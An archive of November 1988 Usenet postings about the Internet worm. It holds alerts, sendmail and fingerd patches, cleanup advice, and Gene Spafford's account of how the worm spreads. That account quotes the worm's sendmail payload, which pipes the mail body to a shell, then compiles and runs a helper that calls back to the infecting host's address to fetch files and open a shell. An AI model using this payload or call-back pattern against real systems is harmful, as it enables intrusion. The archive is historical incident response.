Path: utzoo!attcan!uunet!husc6!bloom-beacon!apple!bionet!agate!ucbvax!
AMES.ARC.NASA.GOV!yee
From: y...@AMES.ARC.NASA.GOV (Peter E. Yee)
Newsgroups: comp.protocols.tcp-ip
Subject: Internet VIRUS alert
Message-ID: <8811030728.AA18199@ames.arc.nasa.gov>
Date: 3 Nov 88 07:28:00 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: The Internet
Lines: 19
We are currently under attack from an Internet VIRUS. It has hit UC Berkeley,
UC San Diego, Lawrence Livermore, Stanford, and NASA Ames. The virus comes in
via SMTP, and then is able to attack all 4.3BSD and SUN (3.X?) machines. It
sends a RCPT TO that requests that its data be piped through a shell. It copies
in a program, compiles and executes it. This program copies in VAX and SUN
binaries that try to replicate the virus via connections to TELNETD, FTPD,
FINGERD, RSHD, and SMTP. The programs also appear to have DES tables in them.
They appear in /usr/tmp as files that start with the letter x. Removing them
is not enough as they will come back in the next wave of attacks. For now
turning off the above services seems to be the only help. The virus is able
to take advantage of .rhosts files and hosts.equiv. We are not certain what the
final result of the binaries is, hence the warning.
I can be contacted at (415) 642-7447. Phil Lapsley and Kurt Pires at this
number are also conversant with the virus.
-Peter Yee
y...@ames.arc.nasa.gov
ames!yee
Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!bos...@okeeffe.Berkeley.EDU
From: bos...@okeeffe.Berkeley.EDU (Keith Bostic)
Newsgroups: news.announce.important,news.sysadmin
Subject: Virus (READ THIS IMMEDIATELY)
Message-ID: <5309@medusa.cs.purdue.edu>
Date: 3 Nov 88 10:58:55 GMT
Sender: n...@cs.purdue.EDU
Followup-To: news.sysadmin
Lines: 109
Approved: n...@cs.purdue.EDU
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
There's a virus running around; the salient facts. A bug in
sendmail has been used to introduce a virus into a lot of
Internet UNIX systems. It has not been observed to damage the
host system, however, it's incredibly virulent, attempting to
introduce itself to every system it can find. It appears to
use rsh, broken passwords, and sendmail to introduce itself
into the target systems. It affects only VAXen and Suns, as
far as we know.
There are three changes that we believe will immunize your
system. They are attached.
Thanks to the Experimental Computing Facility, Center for
Disease Control for their assistance. (It's pretty late,
and they certainly deserved some thanks, somewhere!)
Fix:
First, either recompile or patch sendmail to disallow the `debug'
option. If you have source, recompile sendmail after first
applying the following patch to the module svrsmtp.c:
*** /tmp/d22039 Thu Nov 3 02:26:20 1988
--- srvrsmtp.c Thu Nov 3 01:21:04 1988
***************
*** 85,92 ****
"onex", CMDONEX,
# ifdef DEBUG
"showq", CMDDBGQSHOW,
- "debug", CMDDBGDEBUG,
# endif DEBUG
# ifdef WIZ
"kill", CMDDBGKILL,
# endif WIZ
--- 85,94 ----
"onex", CMDONEX,
# ifdef DEBUG
"showq", CMDDBGQSHOW,
# endif DEBUG
+ # ifdef notdef
+ "debug", CMDDBGDEBUG,
+ # endif notdef
# ifdef WIZ
"kill", CMDDBGKILL,
# endif WIZ
Then, reinstall sendmail, refreeze the configuration file,
using the command "/usr/lib/sendmail -bz", kill any running
sendmail's, using the ps(1) command and the kill(1) command,
and restart your sendmail. To find out how sendmail is
execed on your system, use grep(1) to find the sendmail start
line in either the files /etc/rc or /etc/rc.local
If you don't have source, apply the following patch to your
sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS
UP! This is mildly tricky -- note, some versions of strings(1),
which we're going to use to find the offset of the string
"debug" in the binary print out the offsets in octal, not
decimal. Run the following shell line to decide how your
version of strings(1) works:
/bin/echo 'abcd' | /usr/ucb/strings -o
Note, make sure the eight control 'G's are preserved in this
line. If this command results in something like:
0000008 abcd
your strings(1) command prints out locations in decimal, else
it's octal.
The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!!
This script assumes that your strings(1) command prints out
the offsets in decimal.
Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972: debug
96972?w 0
96972: 25701 = 0
okeeffe:tmp {4} ^D
script done on Thu Nov 3 02:09:31 1988
If your strings(1) command prints out the offsets in octal,
change the line "0t10$d" to "0t8$d".
After you've fixed sendmail, move both /bin/cc and /bin/ld to
something else. (The virus uses the cc and the ld commands
to rebuild itself to run on your system.)
Finally, kill any processes on your system that don't belong there.
Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
digits, as the command name on the ps(1) output line.
One more thing, if you find files in /tmp or /usr/tmp that
have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
"xNNNNNNN,vax.o" where the N's are random digits, you've been
infected.
Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!decwrl!ucbvax!
OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.68 (Virus posting #2)
Message-ID: <8811031612.AA22864@okeeffe.Berkeley.EDU>
Date: 3 Nov 88 16:12:19 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 16
Approved: ucb-fi...@okeeffe.berkeley.edu
Subject: Virus posting #2
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
This is a followup message, to clear up two points.
First off, a better value to use to PATCH your sendmail
executable is 0xff; if you're using the patch script,
change:
96972?w 0
to:
96972?w 65535
Secondly, note, if, when you run strings(1) on your sendmail
executable, greping for ``debug'', you don't get any output,
don't worry about the problem, your system is already (we
think) safe.
Path: utzoo!utgpu!attcan!uunet!seismo!sundc!pitstop!sun!decwrl!purdue!
haven!mimsy!tank!nic.MR.NET!hal!cwjcc!ukma!tut.cis.ohio-state.edu!
osu-cis!att!cbnews!bos...@okeeffe.Berkeley.EDU
From: bos...@okeeffe.Berkeley.EDU (Keith Bostic)
Newsgroups: news.announce.important
Subject: UNIX TCP/IP Virus (ADMINISTRATORS READ THIS IMMEDIATELY)
Message-ID: <1856@cbnews.ATT.COM>
Date: 3 Nov 88 22:05:54 GMT
Sender: m...@cbnews.ATT.COM
Lines: 112
Approved: m...@cblpf.att.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
There's a virus running around; the salient facts. A bug in
sendmail has been used to introduce a virus into a lot of
Internet UNIX systems. It has not been observed to damage the
host system, however, it's incredibly virulent, attempting to
introduce itself to every system it can find. It appears to
use rsh, broken passwords, and sendmail to introduce itself
into the target systems. It affects only VAXen and Suns, as
far as we know. [Note - it has been verified to affect at
least one other TCP/IP implementation - if you have sendmail
on ANY TCP/IP, I recommend you apply this fix - MRH]
There are three changes that we believe will immunize your
system. They are attached.
Thanks to the Experimental Computing Facility, Center for
Disease Control for their assistance. (It's pretty late,
and they certainly deserved some thanks, somewhere!)
Fix:
First, either recompile or patch sendmail to disallow the `debug'
option. If you have source, recompile sendmail after first
applying the following patch to the module svrsmtp.c:
*** /tmp/d22039 Thu Nov 3 02:26:20 1988
--- srvrsmtp.c Thu Nov 3 01:21:04 1988
***************
*** 85,92 ****
"onex", CMDONEX,
# ifdef DEBUG
"showq", CMDDBGQSHOW,
- "debug", CMDDBGDEBUG,
# endif DEBUG
# ifdef WIZ
"kill", CMDDBGKILL,
# endif WIZ
--- 85,94 ----
"onex", CMDONEX,
# ifdef DEBUG
"showq", CMDDBGQSHOW,
# endif DEBUG
+ # ifdef notdef
+ "debug", CMDDBGDEBUG,
+ # endif notdef
# ifdef WIZ
"kill", CMDDBGKILL,
# endif WIZ
Then, reinstall sendmail, refreeze the configuration file,
using the command "/usr/lib/sendmail -bz", kill any running
sendmail's, using the ps(1) command and the kill(1) command,
and restart your sendmail. To find out how sendmail is
execed on your system, use grep(1) to find the sendmail start
line in either the files /etc/rc or /etc/rc.local [Note -
don't do "sendmail -bz" unless your sendmail.cf is already
frozen, e.g. if /usr/lib/sendmail.fc already exists. - MRH]
If you don't have source, apply the following patch to your
sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS
UP! This is mildly tricky -- note, some versions of strings(1),
which we're going to use to find the offset of the string
"debug" in the binary print out the offsets in octal, not
decimal. Run the following shell line to decide how your
version of strings(1) works:
/bin/echo 'abcd' | /usr/ucb/strings -o
Note, make sure the eight control 'G's are preserved in this
line. If this command results in something like:
0000008 abcd
your strings(1) command prints out locations in decimal, else
it's octal.
The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!!
This script assumes that your strings(1) command prints out
the offsets in decimal.
Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972: debug
96972?w 0
96972: 25701 = 0
okeeffe:tmp {4} ^D
script done on Thu Nov 3 02:09:31 1988
If your strings(1) command prints out the offsets in octal,
change the line "0t10$d" to "0t8$d".
After you've fixed sendmail, move both /bin/cc and /bin/ld to
something else. (The virus uses the cc and the ld commands
to rebuild itself to run on your system.)
Finally, kill any processes on your system that don't belong there.
Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
digits, as the command name on the ps(1) output line.
One more thing, if you find files in /tmp or /usr/tmp that
have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
"xNNNNNNN,vax.o" where the N's are random digits, you've been
infected.
Path: utzoo!utgpu!attcan!uunet!yale!husc6!purdue!spaf
From: s...@cs.purdue.edu (Gene Spafford)
Newsgroups: news.sysadmin
Subject: Re: The virus
Message-ID: <5312@medusa.cs.purdue.edu>
Date: 4 Nov 88 01:11:06 GMT
References: <5311@medusa.cs.purdue.edu>
Sender: n...@cs.purdue.EDU
Reply-To: s...@cs.purdue.edu (Gene Spafford)
Organization: Department of Computer Science, Purdue University
Lines: 140
This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):
All of our Vaxen and some of our Suns here were infected with the
worm. The worm forks repeated copies of itself as it tries to spread
itself, and the load averages on the infected machines skyrocketed. In
fact, it got to the point that some of the machines ran out of swap
space and kernel table entries, preventing login to even see what was
going on!
The worm seems to consist of two parts. The way that it works is as
follows:
1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).
Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"
cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c
2) This program is a simple "listener" or "helper" program of a few
dozen lines of fairly simple code. As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).
3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp). After the files are copied, it exec's a
shell with standard input coming from the infecting worm program on
the other end of the socket.
From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:
4) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine. The command file it uses is as
follows:
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$
5) This creates and dispatches the new worm.. This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents). Next,
the worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other
machines' sendmail. If a connection succeeds, it forks a child process
to infect it, while the parent continues to attempt infection of other
machines.
7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).
Other notes:
The worm runs in stages. It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses. It even runs netstat to find out what networks the
machine is attached to! It uses this information to attempt to
penetrate sendmail on those machines. It also knows how to penetrate
"fingerd" on Vaxen (on Suns, the attempt results in a core dump). I
will privately tell individuals how to fix the bug in fingerd, but for
now change it so it does not run as "root".
After this first stage, it appears to sleep for a while. Then it starts
collecting user names and it begins probing with "rsh". I believe it
also permutes either an internal list of words, or it uses the names
from passwd, but it also tries to see if it can break any of the
passwords for local accounts; if so, if forks a child to use telnet
to break into that account and copy itself.
It tries to copy itself to other systems using rsh, fingerd, and
possibly also uucp and/or ftp.
As I write this, no one seems to know what it is supposed to eventually
do. Perhaps it just breaks in everywhere it can. I wonder if
it isn't just going to wait until some compiled-in time and then
run an "rm -rf /" or something similar (and awful). Has anyone noticed
new files in /usr/spool/at or included in /usr/lib/crontab?
Other notes:
The program corrupts its argument vector, so it appears in a "ps ax"
as "(sh)" (a login shell). Don't trust any of these if you have
them running.
The program doesn't copy around source files (except the helper) --
it copies around pre-compiled binaries that are linked on the local
machine and then run. The worm appears to only be carrying binaries
for 68020-based Suns and Vax 7xx machines. Pyramids, Sun 2's and
Sequents are all definitely immune.
The strings in the binaries are encrypted against a random "strings"
invocation. If you have a binary, Keith Bostic informs me that
Xor with 0x81 will reveal interesting things, although that is not
the only mask used.
The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh. It didn't hit Purdue until about
4 this morning.
I will update you with any further information I may find.
If you forward whatever information you find, I will try to
collate it.
--spaf
Acknowledgements: Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle (Purdue), and Miek Rowan (Purdue). Thanks, guys.
--
Gene Spafford
NSF/Purdue/U of Florida Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet: s...@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf
Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!decwrl!ucbvax!
OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.69 (Virus posting #3)
Message-ID: <8811040318.AA26579@okeeffe.Berkeley.EDU>
Date: 4 Nov 88 03:18:47 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 188
Approved: ucb-fi...@okeeffe.berkeley.edu
Subject: Virus posting #3
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
The recently reported worm appears to also be using the
fingerd(8) daemon to enter systems. Here's a fix.
The previous patch for sendmail(8) on binary systems only
prevented the current attacker. The attached patch fixes
the problem.
Fix:
Re-patch sendmail. Recompile and reinstall the attached
source for fingerd(8).
Here's a script to repatch sendmail. Note, this only applies
to binary systems, if you have source you should have recompiled
and reinstalled it already. You should start with the original
sendmail binary, NOT the binary that you've already patched.
AND, REMEMBER, ALWAYS SAVE AN EXTRA COPY IN CASE YOU MAKE A
MISTAKE!! Finally, if you don't find the string ``debug'' in
your sendmail binary, you don't have a problem; ignore this patch.
This patch essentially makes it impossible to set the debug flag.
Note, your offsets as printed by adb may vary! Comments are
preceded by a hash mark, don't type them in, nor expect adb
to print them out. Also, we're again using strings(1) to find
the decimal offset in the file of certain strings. To find
out if your strings(1) command prints offsets in decimal,
put 8 control (non-printable) characters in a file, followed
by four printable characters, and then use strings(1) to find
the offset of your four printable characters. If the offset
is ``8'', it's using decimal, if it's ``10'' it's using octal.
Script started on Thu Nov 3 18:45:34 1988
# find the decimal offset of the strings ``debug'' and ``showq'' in the
# sendmail binary.
okeeffe:tmp {2} strings -o -a sendmail | egrep 'debug|showq'
0097040 showq
0097046 debug
okeeffe:tmp {3} adb -w sendmail
# set the map, then set the default radix to base 10
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
# check to make sure that strings(1) was right, and then find out what
# the byte pattern for ``showq'' is for your machine. Note that adb
# prints out that byte pattern in HEX!
97040?s
97040: showq
97040?Xx
97040: 73686f77 7100
# check on the string ``debug'', then, overwrite the first four bytes,
# move up 4 bytes, and then overwite the last two bytes with the byte
# pattern seen above for ``showq''.
97046?s
97046: debug
97046?W 0x73686f77
97046: 1684365941 = 1936224119
.+4
.?w 0x7100
97050: 26368 = 28928
# check to make sure we wrote out the correct string.
97046?s
97046: showq
okeeffe:tmp {4} strings -o -a sendmail | egrep 'debug|showq'
0097040 showq
0097046 showq
okeeffe:tmp {5}
script done on Thu Nov 3 18:47:42 1988
# This is a shell archive. Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file". Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
# fingerd.c
#
echo x - fingerd.c
sed 's/^X//' >fingerd.c << 'END-of-fingerd.c'
X/*
X * Copyright (c) 1983 The Regents of the University of California.
X * All rights reserved.
X *
X * Redistribution and use in source and binary forms are permitted
X * provided that the above copyright notice and this paragraph are
X * duplicated in all such forms and that any documentation,
X * advertising materials, and other materials related to such
X * distribution and use acknowledge that the software was developed
X * by the University of California, Berkeley. The name of the
X * University may not be used to endorse or promote products derived
X * from this software without specific prior written permission.
X * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X */
X
X#ifndef lint
Xchar copyright[] =
X"@(#) Copyright (c) 1983 The Regents of the University of California.\n\
X All rights reserved.\n";
X#endif /* not lint */
X
X#ifndef lint
Xstatic char sccsid[] = "@(#)fingerd.c 5.3 (Berkeley) 11/3/88";
X#endif /* not lint */
X
X/*
X * Finger server.
X */
X#include <sys/types.h>
X#include <netinet/in.h>
X#include <stdio.h>
X#include <ctype.h>
X
Xmain(argc, argv)
X int argc;
X char *argv[];
X{
X register char *sp;
X char line[512];
X struct sockaddr_in sin;
X int i, p[2], pid, status;
X FILE *fp;
X char *av[4];
X
X i = sizeof (sin);
X if (getpeername(0, &sin, &i) < 0)
X fatal(argv[0], "getpeername");
X if (fgets(line, sizeof(line), stdin) == NULL)
X exit(1);
X sp = line;
X av[0] = "finger";
X for (i = 1;;) {
X while (isspace(*sp))
X sp++;
X if (!*sp)
X break;
X if (*sp == '/' && (sp[1] == 'W' || sp[1] == 'w')) {
X sp += 2;
X av[i++] = "-l";
X }
X if (*sp && !isspace(*sp)) {
X av[i++] = sp;
X while (*sp && !isspace(*sp))
X sp++;
X *sp = '\0';
X }
X }
X av[i] = 0;
X if (pipe(p) < 0)
X fatal(argv[0], "pipe");
X if ((pid = fork()) == 0) {
X close(p[0]);
X if (p[1] != 1) {
X dup2(p[1], 1);
X close(p[1]);
X }
X execv("/usr/ucb/finger", av);
X _exit(1);
X }
X if (pid == -1)
X fatal(argv[0], "fork");
X close(p[1]);
X if ((fp = fdopen(p[0], "r")) == NULL)
X fatal(argv[0], "fdopen");
X while ((i = getc(fp)) != EOF) {
X if (i == '\n')
X putchar('\r');
X putchar(i);
X }
X fclose(fp);
X while ((i = wait(&status)) != pid && i != -1)
X ;
X return(0);
X}
X
Xfatal(prog, s)
X char *prog, *s;
X{
X fprintf(stderr, "%s: ", prog);
X perror(s);
X exit(1);
X}
END-of-fingerd.c
exit
Path: utzoo!utgpu!attcan!uunet!lll-winken!lll-tis!helios.ee.lbl.gov!
pasteur!ucbvax!OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.70 (Virus (really worm) posting #4)
Message-ID: <8811042204.AA13551@okeeffe.Berkeley.EDU>
Date: 4 Nov 88 22:04:37 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 342
Approved: ucb-fi...@okeeffe.berkeley.edu
Subject: Virus (really worm) posting #4
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
This is hopefully the final posting we'll make regarding
the worm that was released onto the Internet. MIT (as I
understand it, a combination of people from Project Athena,
the Lab for Computer Services, the Networking Group, and
SIPB), and members of the Berkeley UNIX Workshop have both
decompiled copies of the worm (into about 2000 lines of C).
As of this time, we believe that there were three methods
of attack; exploiting software bugs in sendmail and fingerd,
and by guessing (albeit fairly intelligently) passwords.
We believe that the fixes already posted for sendmail and
fingerd are sufficient to stop the worm from entering your
system; as far as guessing passwords, there's not much you
can do but educate your users. We also recommend renaming
``/bin/ld'' for the next few days, meanwhile checking your
machines for occurrences of the worm. This should keep it
from moving around on your local nets.
We are reposting fingerd(8), since it apparently got munged
before arriving at some sites.
Complete copies of all postings regarding the worm are
available by anonymous ftp from ucbvax.berkeley.edu and
ucbarpa.berkley.edu, as ``pub/virus.patch''.
We believe that the virus cannot be propagated by uucp.
In the Berkeley tradition of fixing other people's software,
and in the general interests of software portability and
matainability, we have provided three fixes for those
individuals wishing to continue to run the worm on their
systems. To apply theses fixes, discompile the worm
and then use patch.
Note:
THESE FIXES ARE PROVIDED ``AS IS'' AND WITHOUT ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT
LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY
AND FITNESS FOR A PARTICULAR PURPOSE.
*** if_init.c.old Fri Nov 4 14:01:54 1988
--- if_init.c Fri Nov 4 14:02:10 1988
***************
*** 39,45 ****
break;
}
for (; j >= nifs; nifs++) {
! bzero(&ifs[0], sizeof(ifs[j]));
strcpy(ifs[nifs].o0, ifreqs[i].ifr_name);
strcpy(ifrq.ifr_name, ifreqs[i].ifr_name);
if (ioctl(s, SIOCGIFFLAGS, &ifrq) < 0) {
--- 39,46 ----
break;
}
for (; j >= nifs; nifs++) {
! /* use offset of `j', not zero! */
! bzero(&ifs[j], sizeof(ifs[j]));
strcpy(ifs[nifs].o0, ifreqs[i].ifr_name);
strcpy(ifrq.ifr_name, ifreqs[i].ifr_name);
if (ioctl(s, SIOCGIFFLAGS, &ifrq) < 0) {
*** main.c.old Fri Nov 4 12:49:05 1988
--- main.c Fri Nov 4 12:49:26 1988
***************
*** 67,73 ****
if (pgrp != 0) {
if (getpgrp(getpid()) == pgrp)
setpgrp(getpid(), getpid());
! kill(pgrp, SIGKILL);
}
doit();
}
--- 67,73 ----
if (pgrp != 0) {
if (getpgrp(getpid()) == pgrp)
setpgrp(getpid(), getpid());
+ /* they really want to kill the process group! */
! killpg(pgrp, SIGKILL);
}
doit();
}
*** fxread.c.old Fri Nov 4 12:53:36 1988
--- fxread.c Fri Nov 4 12:54:49 1988
***************
*** 5,11 ****
{
struct timeval tv;
int cnt, mask;
! int some_uninitialized_var;
if (cnt = 0; cnt < buflen; ++cnt) {
mask = 1 << fd;
--- 5,11 ----
{
struct timeval tv;
int cnt, mask;
! int some_uninitialized_var = use_lint_twit;
if (cnt = 0; cnt < buflen; ++cnt) {
mask = 1 << fd;
# This is a shell archive. Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file". Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
# fingerd.8
# fingerd.c
# Makefile
#
echo x - fingerd.8
sed 's/^X//' >fingerd.8 << 'END-of-fingerd.8'
X.\" Copyright (c) 1980 The Regents of the University of California.
X.\" All rights reserved.
X.\"
X.\" Redistribution and use in source and binary forms are permitted
X.\" provided that the above copyright notice and this paragraph are
X.\" duplicated in all such forms and that any documentation,
X.\" advertising materials, and other materials related to such
X.\" distribution and use acknowledge that the software was developed
X.\" by the University of California, Berkeley. The name of the
X.\" University may not be used to endorse or promote products derived
X.\" from this software without specific prior written permission.
X.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X.\" IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X.\" WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X.\"
X.\" @(#)fingerd.8 6.2 (Berkeley) 9/19/88
X.\"
X.TH FINGERD 8 "September 19, 1988"
X.UC 6
X.SH NAME
Xfingerd \- remote user information server
X.SH SYNOPSIS
X.B /etc/fingerd
X.SH DESCRIPTION
X.I Fingerd
Xis a simple protocol based on RFC742 that provides an interface to the
XName and Finger programs at several network sites.
XThe program is supposed to return a friendly,
Xhuman-oriented status report on either the system at the moment
Xor a particular person in depth.
XThere is no required format and the
Xprotocol consists mostly of specifying a single ``command line''.
X.PP
X.I Fingerd
Xlistens for TCP requests at port 79.
XOnce connected it reads a single command line
Xterminated by a <CRLF> which is passed to
X.IR finger (1).
X.I Fingerd
Xcloses its connections as soon as the output is finished.
X.PP
XIf the line is null (i.e. just a <CRLF> is sent) then
X.I finger
Xreturns a ``default'' report that lists all people logged into
Xthe system at that moment.
X.PP
XIf a user name is specified (e.g. eric<CRLF>) then the
Xresponse lists more extended information for only that particular user,
Xwhether logged in or not.
XAllowable ``names'' in the command line include both ``login names''
Xand ``user names''.
XIf a name is ambiguous, all possible derivations are returned.
X.SH SEE ALSO
Xfinger(1)
X.SH BUGS
XConnecting directly to the server from a TIP
Xor an equally narrow-minded TELNET-protocol user program can result
Xin meaningless attempts at option negotiation being sent to the
Xserver, which will foul up the command line interpretation.
X.I Fingerd
Xshould be taught to filter out IAC's and perhaps even respond
Xnegatively (IAC WON'T) to all option commands received.
END-of-fingerd.8
echo x - fingerd.c
sed 's/^X//' >fingerd.c << 'END-of-fingerd.c'
X/*
X * Copyright (c) 1983 The Regents of the University of California.
X * All rights reserved.
X *
X * Redistribution and use in source and binary forms are permitted
X * provided that the above copyright notice and this paragraph are
X * duplicated in all such forms and that any documentation,
X * advertising materials, and other materials related to such
X * distribution and use acknowledge that the software was developed
X * by the University of California, Berkeley. The name of the
X * University may not be used to endorse or promote products derived
X * from this software without specific prior written permission.
X * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X */
X
X#ifndef lint
Xchar copyright[] =
X"@(#) Copyright (c) 1983 The Regents of the University of California.\n\
X All rights reserved.\n";
X#endif /* not lint */
X
X#ifndef lint
Xstatic char sccsid[] = "@(#)fingerd.c 5.3 (Berkeley) 11/3/88";
X#endif /* not lint */
X
X/*
X * Finger server.
X */
X#include <sys/types.h>
X#include <netinet/in.h>
X#include <stdio.h>
X#include <ctype.h>
X
Xmain(argc, argv)
X int argc;
X char *argv[];
X{
X register char *sp;
X char line[512];
X struct sockaddr_in sin;
X int i, p[2], pid, status;
X FILE *fp;
X char *av[4];
X
X i = sizeof (sin);
X if (getpeername(0, &sin, &i) < 0)
X fatal(argv[0], "getpeername");
X if (fgets(line, sizeof(line), stdin) == NULL)
X exit(1);
X sp = line;
X av[0] = "finger";
X for (i = 1;;) {
X while (isspace(*sp))
X sp++;
X if (!*sp)
X break;
X if (*sp == '/' && (sp[1] == 'W' || sp[1] == 'w')) {
X sp += 2;
X av[i++] = "-l";
X }
X if (*sp && !isspace(*sp)) {
X av[i++] = sp;
X while (*sp && !isspace(*sp))
X sp++;
X *sp = '\0';
X }
X }
X av[i] = 0;
X if (pipe(p) < 0)
X fatal(argv[0], "pipe");
X if ((pid = fork()) == 0) {
X close(p[0]);
X if (p[1] != 1) {
X dup2(p[1], 1);
X close(p[1]);
X }
X execv("/usr/ucb/finger", av);
X _exit(1);
X }
X if (pid == -1)
X fatal(argv[0], "fork");
X close(p[1]);
X if ((fp = fdopen(p[0], "r")) == NULL)
X fatal(argv[0], "fdopen");
X while ((i = getc(fp)) != EOF) {
X if (i == '\n')
X putchar('\r');
X putchar(i);
X }
X fclose(fp);
X while ((i = wait(&status)) != pid && i != -1)
X ;
X return(0);
X}
X
Xfatal(prog, s)
X char *prog, *s;
X{
X fprintf(stderr, "%s: ", prog);
X perror(s);
X exit(1);
X}
END-of-fingerd.c
echo x - Makefile
sed 's/^X//' >Makefile << 'END-of-Makefile'
X#
X# Copyright (c) 1988 Regents of the University of California.
X# All rights reserved.
X#
X# Redistribution and use in source and binary forms are permitted
X# provided that the above copyright notice and this paragraph are
X# duplicated in all such forms and that any documentation, advertising
X# materials, and other materials related to such redistribution and
X# use acknowledge that the software was developed by the University
X# of California, Berkeley. The name of the University may not be
X# used to endorse or promote products derived from this software
X# without specific prior written permission. THIS SOFTWARE IS PROVIDED
X# ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
X# WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND
X# FITNESS FOR A PARTICULAR PURPOSE.
X#
X# @(#)Makefile 5.1 (Berkeley) 9/19/88
X#
X
XCFLAGS= -O
XLIBC= /lib/libc.a
XSRCS= fingerd.c
XOBJS=
XMAN= fingerd.0
X
Xall: fingerd
X
Xfingerd: ${LIBC}
X ${CC} -o $@ ${CFLAGS} $@.c
X
Xclean:
X rm -f ${OBJS} core fingerd
X
Xcleandir: clean
X rm -f ${MAN} tags .depend
X
Xdepend: ${SRCS}
X mkdep -p ${CFLAGS} ${SRCS}
X
Xinstall: ${MAN}
X install -s -o bin -g bin -m 755 fingerd ${DESTDIR}/etc/fingerd
X install -c -o bin -g bin -m 444 fingerd.0 ${DESTDIR}/usr/man/cat8
X
Xlint: ${SRCS}
X lint ${CFLAGS} ${SRCS}
X
Xtags: ${SRCS}
X ctags ${SRCS}
END-of-Makefile
exit